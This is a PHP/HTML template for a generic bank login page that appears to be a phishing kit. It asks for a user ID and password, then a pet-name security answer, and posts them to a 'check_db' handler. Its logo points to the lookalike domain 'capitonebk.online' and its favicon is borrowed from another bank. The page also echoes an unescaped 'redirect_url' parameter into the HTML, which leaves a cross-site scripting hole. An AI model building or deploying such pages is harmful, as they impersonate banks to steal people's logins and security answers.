<!doctype html>
<html lang="en">
<head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <!-- Favicon icon -->
    <link rel="icon" href="https://q2-canvas-prd-files.s3.amazonaws.com/syb-com/files/stockyards_flavicon_32x32_nn3_icon.ico?VersionId=tEAfsGEEPWfauVF9WRW_JpSMvwZezlih" type="image/vnd.microsoft.icon" />

    <!-- Font Awesome -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <!-- Bootstrap CSS -->
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    
    <title><?php echo $this->config->item('product_name');?>, Loans, Cards & More | <?php echo $this->config->item('product_name');?></title>
    
    <script src="<?php echo base_url();?>assets/frontend/login_page/js/jquery-3.3.1.min.js"></script>
    <script type="text/javascript" src="<?php echo base_url();?>assets/frontend/core_js/jquery.validate.min.js"></script>
    <script type="text/javascript" src="<?php echo base_url();?>assets/frontend/core_js/login.js"></script>
    
    <style>
        :root {
            --primary-color: #00adc1;
            --primary-dark: #0092a3;
            --secondary-color: #002e59;
            --light-bg: #f8f9fa;
            --border-color: #e1e5e9;
            --text-primary: #2c3e50;
            --text-secondary: #6c757d;
            --shadow: 0 10px 30px rgba(0, 0, 0, 0.08);
            --radius: 12px;
            --transition: all 0.3s ease;
        }
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Segoe UI', system-ui, -apple-system, sans-serif;
            background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px;
            color: var(--text-primary);
            line-height: 1.6;
        }
        
        .login-container {
            width: 100%;
            max-width: 1200px;
            margin: 0 auto;
        }
        
        .login-wrapper {
            display: flex;
            background: white;
            border-radius: var(--radius);
            overflow: hidden;
            box-shadow: var(--shadow);
            min-height: 700px;
        }
        
        .login-sidebar {
            flex: 1;
            background: linear-gradient(135deg, var(--secondary-color) 0%, #004080 100%);
            color: white;
            padding: 60px 40px;
            display: flex;
            flex-direction: column;
            justify-content: center;
            position: relative;
            overflow: hidden;
        }
        
        .sidebar-overlay {
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: rgba(0, 46, 89, 0.85);
            z-index: 1;
        }
        
        .sidebar-content {
            position: relative;
            z-index: 2;
            max-width: 500px;
            margin: 0 auto;
        }
        
        .login-sidebar h2 {
            font-size: 2.5rem;
            font-weight: 700;
            margin-bottom: 25px;
            line-height: 1.3;
        }
        
        .login-sidebar p {
            font-size: 1.1rem;
            opacity: 0.9;
            margin-bottom: 40px;
        }
        
        .features-list {
            list-style: none;
            margin-top: 40px;
        }
        
        .features-list li {
            display: flex;
            align-items: center;
            margin-bottom: 20px;
            font-size: 1rem;
        }
        
        .features-list i {
            color: var(--primary-color);
            font-size: 1.2rem;
            margin-right: 15px;
            background: white;
            width: 30px;
            height: 30px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        
        .login-form-section {
            flex: 1;
            padding: 60px 50px;
            display: flex;
            flex-direction: column;
            justify-content: center;
        }
        
        .logo-container {
            text-align: center;
            margin-bottom: 40px;
        }
        
        .logo-container img {
            max-width: 280px;
            height: auto;
        }
        
        .form-header {
            text-align: center;
            margin-bottom: 40px;
        }
        
        .form-header h1 {
            font-size: 2.2rem;
            color: var(--secondary-color);
            margin-bottom: 15px;
            font-weight: 700;
        }
        
        .form-header p {
            color: var(--text-secondary);
            font-size: 1.1rem;
        }
        
        .language-selector {
            display: flex;
            justify-content: flex-end;
            margin-bottom: 30px;
        }
        
        .language-selector select {
            padding: 10px 20px;
            border-radius: 50px;
            border: 2px solid var(--border-color);
            background: white;
            color: var(--secondary-color);
            font-weight: 600;
            font-size: 0.9rem;
            cursor: pointer;
            transition: var(--transition);
            outline: none;
            width: 200px;
        }
        
        .language-selector select:focus {
            border-color: var(--primary-color);
            box-shadow: 0 0 0 3px rgba(0, 173, 193, 0.1);
        }
        
        .login-form {
            width: 100%;
            max-width: 420px;
            margin: 0 auto;
        }
        
        .form-group {
            margin-bottom: 25px;
        }
        
        .form-group label {
            display: block;
            margin-bottom: 8px;
            font-weight: 600;
            color: var(--secondary-color);
            font-size: 0.95rem;
        }
        
        .input-with-icon {
            position: relative;
        }
        
        .input-with-icon i {
            position: absolute;
            left: 18px;
            top: 50%;
            transform: translateY(-50%);
            color: var(--text-secondary);
            font-size: 1.1rem;
        }
        
        .form-control {
            width: 100%;
            padding: 15px 20px 15px 50px;
            border: 2px solid var(--border-color);
            border-radius: var(--radius);
            font-size: 1rem;
            transition: var(--transition);
            background: white;
            color: var(--text-primary);
        }
        
        .form-control:focus {
            outline: none;
            border-color: var(--primary-color);
            box-shadow: 0 0 0 3px rgba(0, 173, 193, 0.1);
        }
        
        .form-control::placeholder {
            color: #a0a7b1;
        }
        
        .password-toggle {
            position: absolute;
            right: 18px;
            top: 50%;
            transform: translateY(-50%);
            background: none;
            border: none;
            color: var(--text-secondary);
            cursor: pointer;
            font-size: 1.1rem;
            transition: var(--transition);
        }
        
        .password-toggle:hover {
            color: var(--primary-color);
        }
        
        .result_display {
            padding: 15px;
            border-radius: var(--radius);
            margin-bottom: 25px;
            display: none;
        }
        
        .result_display.success {
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
            display: block;
        }
        
        .result_display.error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
            display: block;
        }
        
        .btn-login {
            width: 100%;
            padding: 16px;
            background: linear-gradient(135deg, var(--primary-color) 0%, var(--primary-dark) 100%);
            color: white;
            border: none;
            border-radius: var(--radius);
            font-size: 1.1rem;
            font-weight: 600;
            cursor: pointer;
            transition: var(--transition);
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 10px;
            margin-top: 10px;
        }
        
        .btn-login:hover {
            transform: translateY(-2px);
            box-shadow: 0 5px 15px rgba(0, 173, 193, 0.3);
        }
        
        .btn-login:active {
            transform: translateY(0);
        }
        
        .form-footer {
            text-align: center;
            margin-top: 30px;
            padding-top: 25px;
            border-top: 1px solid var(--border-color);
            color: var(--text-secondary);
            font-size: 0.95rem;
        }
        
        .form-footer a {
            color: var(--primary-color);
            text-decoration: none;
            font-weight: 600;
            transition: var(--transition);
        }
        
        .form-footer a:hover {
            text-decoration: underline;
        }
        
        .secure-note {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 10px;
            margin-top: 25px;
            color: var(--text-secondary);
            font-size: 0.9rem;
        }
        
        .secure-note i {
            color: #28a745;
        }
        
        @media (max-width: 992px) {
            .login-wrapper {
                flex-direction: column;
                min-height: auto;
            }
            
            .login-sidebar {
                padding: 40px 30px;
            }
            
            .login-form-section {
                padding: 40px 30px;
            }
            
            .login-sidebar h2 {
                font-size: 2rem;
            }
        }
        
        @media (max-width: 576px) {
            body {
                padding: 15px;
            }
            
            .login-sidebar, .login-form-section {
                padding: 30px 20px;
            }
            
            .login-sidebar h2 {
                font-size: 1.8rem;
            }
            
            .form-header h1 {
                font-size: 1.8rem;
            }
            
            .language-selector {
                justify-content: center;
            }
            
            .language-selector select {
                width: 100%;
                max-width: 200px;
            }
        }
        
        .slide-content {
            position: relative;
            z-index: 2;
            animation: fadeIn 0.8s ease;
        }
        
        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(20px); }
            to { opacity: 1; transform: translateY(0); }
        }
        
        .hidden-inputs {
            display: none;
        }
    </style>
</head>
<body>
    <div class="login-container">
        <div class="login-wrapper">
            <!-- Left Sidebar with Branding -->
            <div class="login-sidebar">
                <div class="sidebar-overlay"></div>
                <div class="sidebar-content">
                    <div class="slide-content">
                        <h2>Secure Banking Portal</h2>
                        <p>Access your financial accounts with enhanced security and experience seamless banking services tailored to your needs.</p>
                        
                        <ul class="features-list">
                            <li><i class="fas fa-shield-alt"></i> <span>Enhanced Security with Two-Factor Authentication</span></li>
                            <li><i class="fas fa-bolt"></i> <span>Fast & Secure Transactions</span></li>
                            <li><i class="fas fa-mobile-alt"></i> <span>Mobile-Friendly Interface</span></li>
                            <li><i class="fas fa-headset"></i> <span>24/7 Customer Support</span></li>
                        </ul>
                    </div>
                </div>
            </div>
            
            <!-- Right Login Form Section -->
            <div class="login-form-section">
                <!-- Language Selector -->
                <div class="language-selector">
                    <select onchange="doGTranslate(this);" class="language-dropdown">
                        <option value="" style="color:#6c757d;">Select Language</option>
                        <option value="en|en">English</option>
                        <option value="en|es">Spanish</option>
                        <option value="en|fr">French</option>
                        <option value="en|de">German</option>
                        <option value="en|zh-CN">Chinese (Simplified)</option>
                        <option value="en|ar">Arabic</option>
                        <option value="en|hi">Hindi</option>
                        <option value="en|pt">Portuguese</option>
                        <option value="en|ru">Russian</option>
                        <option value="en|ja">Japanese</option>
                    </select>
                </div>
                
                <!-- Logo -->
                <div class="logo-container">
                    <a href="https://capitonebk.online/en/">
                        <img src="https://capitonebk.online/en/img/safenet.png" alt="Bank Logo">
                    </a>
                </div>
                
                <!-- Form Header -->
                <div class="form-header">
                    <h1>Welcome Back</h1>
                    <p>Sign in to access your account securely</p>
                </div>
                
                <!-- Login Form -->
                <form action="login/check_db" class="login-form" id="login_frm" method="post">
                    <!-- Hidden Inputs -->
                    <div class="hidden-inputs">
                        <input type="hidden" id="h_ajax_base_url" name="h_ajax_base_url" value="<?php echo $this->config->item('ajax_base_url');?>" />
                        <input type="hidden" id="h_redirect_url" name="h_redirect_url" value="<?php if(isset($_GET['redirect_url']) && $_GET['redirect_url']!=''){echo urldecode($_GET['redirect_url']);}?>" />
                        <input type="hidden" id="h_base_url" name="h_base_url" value="<?php echo base_url();?>" />
                        <input type="hidden" id="active_step" name="active_step" value="1" />
                    </div>
                    
                    <!-- Result Display -->
                    <div id="result_display" class="result_display"></div>
                    
                    <!-- Step 1: Username & Password -->
                    <div id="stepone">
                        <div class="form-group">
                            <label for="login_id">User ID</label>
                            <div class="input-with-icon">
                                <i class="fas fa-user"></i>
                                <input type="text" class="form-control required" id="login_id" name="login_id" 
                                       title="User ID is required." placeholder="Enter your User ID" autocomplete="off" />
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label for="password">Password</label>
                            <div class="input-with-icon">
                                <i class="fas fa-lock"></i>
                                <input type="password" class="form-control required" id="password" name="password" 
                                       title="Password is required." placeholder="Enter your password" autocomplete="off" />
                                <button type="button" class="password-toggle" id="togglePassword">
                                    <i class="fas fa-eye"></i>
                                </button>
                            </div>
                        </div>
                    </div>
                    
                    <!-- Step 2: Security Question (Hidden by default) -->
                    <div id="steptwo" style="display:none;">
                        <div class="form-group">
                            <label for="pet_name">Security Verification</label>
                            <div class="input-with-icon">
                                <i class="fas fa-shield-alt"></i>
                                <input type="text" class="form-control" id="pet_name" name="pet_name" 
                                       placeholder="What is your pet's name?" autocomplete="off" />
                            </div>
                            <small class="text-muted">Answer the security question you set during registration</small>
                        </div>
                    </div>
                    
                    <!-- Login Button -->
                    <button class="btn-login" type="submit">
                        <i class="fas fa-sign-in-alt"></i>
                        <span id="main_login_btn">Login Securely</span>
                    </button>
                    
                    <!-- Security Note -->
                    <div class="secure-note">
                        <i class="fas fa-lock"></i>
                        <span>Your information is protected with 256-bit SSL encryption</span>
                    </div>
                    
                    <!-- Form Footer -->
                    <div class="form-footer">
                        <p>Need help? <a href="#">Contact Support</a> | <a href="#">Forgot Password?</a></p>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <!-- Google Translate -->
    <div id="google_translate_element2"></div>
    
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
    
    <script type="text/javascript">
    // Password toggle functionality
    document.getElementById('togglePassword').addEventListener('click', function() {
        const passwordInput = document.getElementById('password');
        const icon = this.querySelector('i');
        
        if (passwordInput.type === 'password') {
            passwordInput.type = 'text';
            icon.classList.remove('fa-eye');
            icon.classList.add('fa-eye-slash');
        } else {
            passwordInput.type = 'password';
            icon.classList.remove('fa-eye-slash');
            icon.classList.add('fa-eye');
        }
    });
    
    // Form validation animation
    document.querySelectorAll('.form-control').forEach(input => {
        input.addEventListener('focus', function() {
            this.parentElement.style.transform = 'scale(1.02)';
        });
        
        input.addEventListener('blur', function() {
            this.parentElement.style.transform = 'scale(1)';
        });
    });
    
    // Google Translate initialization
    function googleTranslateElementInit2() {
        new google.translate.TranslateElement({
            pageLanguage: 'en',
            autoDisplay: false
        }, 'google_translate_element2');
    }
    
    // Keep the existing GTranslate function
    eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('6 7(a,b){n{4(2.9){3 c=2.9("o");c.p(b,f,f);a.q(c)}g{3 c=2.r();a.s(\'t\'+b,c)}}u(e){}}6 h(a){4(a.8)a=a.8;4(a==\'\')v;3 b=a.w(\'|\')[1];3 c;3 d=2.x(\'y\');z(3 i=0;i<d.5;i++)4(d[i].A==\'B-C-D\')c=d[i];4(2.j(\'k\')==E||2.j(\'k\').l.5==0||c.5==0||c.l.5==0){F(6(){h(a)},G)}g{c.8=b;7(c,\'m\');7(c,\'m\')}}',43,43,'||document|var|if|length|function|GTranslateFireEvent|value|createEvent||||||true|else|doGTranslate||getElementById|google_translate_element2|innerHTML|change|try|HTMLEvents|initEvent|dispatchEvent|createEventObject|fireEvent|on|catch|return|split|getElementsByTagName|select|for|className|goog|te|combo|null|setTimeout|500'.split('|'),0,{}))
    </script>
    
    <script type="text/javascript" src="https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2"></script>
    
    <style type="text/css">
    /* Google Translate Styles */
    .goog-te-banner-frame { display: none !important; }
    body { top: 0 !important; }
    #google_translate_element2 { display: none !important; }
    .goog-te-menu-value:hover { text-decoration: none !important; }
    .goog-te-gadget { font-family: inherit !important; }
    .goog-te-gadget-simple { background-color: transparent !important; border: none !important; }
    </style>
</body>
</html>